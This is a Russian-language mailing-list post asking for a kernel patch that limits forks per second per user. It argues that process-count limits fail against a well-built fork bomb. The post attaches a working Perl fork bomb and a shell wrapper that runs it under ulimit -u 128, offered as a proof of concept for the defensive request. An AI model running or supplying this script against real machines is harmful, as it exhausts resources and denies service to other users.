[Comm] anti fork-bomb

[mithraen@freesource.info (Denis Smirnov)]

[-- Attachment #1.1: Type: text/plain, Size: 657 bytes --]

Будет ли когда-нибудь в Мастере anti fork-bomb патч?

Дело в том, что лимита на количество процессов против правильно
сделаного fork-bomb недостаточно. Потому как если всё сделано правильно,
то количество непрерывно работающих процессов поддерживается на одном
уровне, и основная идея в том, чтобы пожирать ресурсы машины большим
количеством fork'ов.

Единственный способ, который я себе представляю для борьбы с такими
бомбами -- ограничение по количеству fork'ов в секунду на пользователя.

Простой пример подобной бомбы в аттаче -- у меня после этого
залогиниться в систему весьма тяжко.

-- 
С уважением, Денис

http://freesource.info

[-- Attachment #1.2: fork-bomb --]
[-- Type: text/plain, Size: 723 bytes --]

#!/usr/bin/perl -w

my $can_fork = 1;		# Можно ли делать повторный fork?
my $num_processes = shift || 32; # количество процессов

# Обработка завершения ребёнка
sub REAPER {
    wait;
    $can_fork = 1;
    $SIG{CHLD} = \&REAPER;  # loathe sysV
}

# Делаем fork, потом chikd завершается, а parent делает новый fork
sub eat_resources()
{
    while( 1 )
    {
	if( $can_fork )
	{
	    $can_fork = 0;
	    exit unless fork();
	}
    }
}


# Основная программа -- делаем указаное количество fork'ов, в каждом из
# которых запускаем пожиралку ресурсов
for( my $i = 0; $i < $num_processes; $i++ )
{
    if( !fork() )
    {
	$SIG{CHLD} = \&REAPER;
	eat_resources();
    }
}

while( 1 )
{
}

[-- Attachment #1.3: fork-bomb.text --]
[-- Type: text/plain, Size: 37 bytes --]

#!/bin/sh
ulimit -u 128

./fork-bomb

[-- Attachment #2: Type: application/pgp-signature, Size: 232 bytes --]